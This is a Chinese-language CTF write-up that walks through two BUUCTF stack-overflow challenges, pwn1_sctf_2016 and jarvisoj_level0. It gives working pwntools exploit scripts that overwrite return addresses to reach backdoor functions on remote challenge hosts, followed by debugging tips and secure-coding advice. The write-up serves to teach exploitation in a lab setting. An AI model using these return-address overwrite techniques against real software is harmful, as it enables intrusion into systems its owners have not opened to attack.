BUUCTF-PWN实战解析:pwn1_sctf_2016栈溢出与jarvisoj_level0后门利用
1. 栈溢出漏洞基础与BUUCTF平台简介第一次接触PWN题的朋友可能会觉得栈溢出听起来很神秘其实它就像往杯子里倒水时不小心溢出来一样简单。栈是程序运行时用来存储临时数据的内存区域当程序向栈中写入的数据超过了预留空间时就会发生栈溢出。这种漏洞在CTF比赛中非常常见也是现实中最危险的漏洞类型之一。BUUCTF是国内知名的网络安全练习平台提供了大量贴近实战的题目。我们今天要分析的pwn1_sctf_2016和jarvisoj_level0就是其中两道经典的栈溢出入门题。这两道题虽然保护机制简单但包含了栈溢出漏洞利用的核心思想特别适合新手理解基础原理。在开始之前建议准备好以下工具IDA Pro或Ghidra用于反编译分析pwntools Python库版本4.5支持32位程序的Linux环境推荐Ubuntu 18.04gdb-peda或gef调试插件2. pwn1_sctf_2016漏洞分析与利用2.1 初步检查与反编译分析拿到题目文件后第一件事就是用checksec检查保护机制checksec --filepwn1_sctf_2016输出显示只开启了NX栈不可执行没有Canary和PIE保护。这意味着我们可以放心地进行栈溢出只需要绕过NX保护。用IDA打开程序会发现这是个C编写的程序。对于不熟悉C的朋友别担心我们只需要关注关键部分。main函数调用了vulnerable函数这个命名已经暗示了漏洞所在。在vulnerable函数中有几个关键点需要注意fgets函数读取用户输入到s变量限制32字节中间有一段字符替换逻辑I→youstrcpy将处理后的字符串复制到栈上的缓冲区2.2 关键漏洞点分析strcpy是典型的危险函数它不会检查目标缓冲区大小。正常情况下fgets限制输入32字节看似安全但结合字符替换就产生了漏洞输入I会被替换为you1字节变3字节如果输入21个I和1个其他字符原始输入22字节32字节限制替换后21*3 1 64字节而缓冲区s距离ebp只有60字节0x3c加上4字节的ebp正好64字节覆盖返回地址2.3 构造利用payload程序还贴心地提供了get_flag后门函数地址0x08048F13。我们可以用pwntools构造payloadfrom pwn import * context(archi386, oslinux) io remote(node5.buuoj.cn, 26466) payload bI*21 ba # 21个I和1个a替换后64字节 payload p32(0x08048F13) # 覆盖返回地址 io.sendline(payload) io.interactive()这里有个小技巧用pwntools的ELF模块可以动态获取函数地址避免每次都要手动查找elf ELF(./pwn1_sctf_2016) system_addr elf.symbols[get_flag]3. jarvisoj_level0漏洞分析与利用3.1 题目特点与检查这道题比前一道更简单checksec显示没有任何保护checksec --filelevel0用IDA分析可以看到vulnerable_function中直接使用read函数读取0x200字节到只有0x80字节的缓冲区明显的栈溢出。3.2 利用思路这道题的特点是read函数允许输入多达0x200字节buf距离rbp有0x80字节64位程序存在现成的callsystem后门函数地址0x40059A64位程序的栈布局需要注意rbp占8字节返回地址在rbp之后8字节所以需要填充0x80 0x8 136字节垃圾数据3.3 EXP编写利用pwntools编写利用代码from pwn import * context(archamd64, oslinux) io remote(node5.buuoj.cn, 25787) payload bA*136 # 填充垃圾数据 payload p64(0x40059A) # 覆盖返回地址 io.sendline(payload) io.interactive()同样可以使用ELF模块动态获取地址elf ELF(./level0) system_addr elf.symbols[callsystem]4. 两道题的对比与进阶思考虽然两道题都是栈溢出但有几个重要区别漏洞触发方式不同pwn1_sctf_2016通过字符替换扩大输入jarvisoj_level0直接read超长输入架构差异前者是32位程序后者是64位32位参数通过栈传递64位前6个参数通过寄存器传递保护机制pwn1_sctf_2016有NX保护jarvisoj_level0完全没有保护在实际漏洞利用中有几个常见问题需要注意地址中包含空字节\x00会导致strcpy提前截断栈对齐问题特别是64位程序环境变量差异导致本地和远程地址不同5. 防御措施与安全编程虽然我们在这里学习漏洞利用但更重要的是理解如何避免这些漏洞。一些基本的安全编程建议永远不要使用gets函数使用strncpy代替strcpy并确保目标缓冲区足够大对read等函数要严格检查输入长度开启所有安全编译选项gcc -fstack-protector -pie -fPIE -z now对于CTF选手来说理解这些防御措施也能帮助逆向分析知道哪些保护需要绕过以及如何绕过。6. 调试技巧与实用命令在实战中调试是非常重要的一环。分享几个我常用的gdb命令查看函数地址info functions查看内存映射info proc mappings在函数返回时中断break *vulnerable_function0xXX查看栈布局x/40wx $esp对于初学者我建议先用pattern_create生成特殊字符串定位溢出点from pwn import * cyclic(200)7. pwntools使用进阶pwntools是PWN题的神器除了基础功能外还有几个实用技巧自动生成shellcodeshellcraft.sh()处理交互io.sendlineafter(:, payload)调试模式io process(./level0) gdb.attach(io)日志记录context.log_level debug在实际做题时我习惯先本地测试再打远程这样可以快速迭代if args.REMOTE: io remote(host, port) else: io process(./binary)8. 常见问题与解决方案新手在做这两道题时容易遇到几个问题地址错误确保使用正确的函数地址可以用readelf检查readelf -s binary | grep function偏移计算错误建议先用cyclic确定精确偏移字节序问题32位和64位程序要使用正确的打包函数p32/p64环境问题本地能打通但远程不行可能是libc版本差异对于pwn1_sctf_2016特别注意字符替换的影响。我最初就忽略了这点导致怎么都触发不了溢出。后来单步调试才发现替换逻辑这也是为什么动态分析很重要。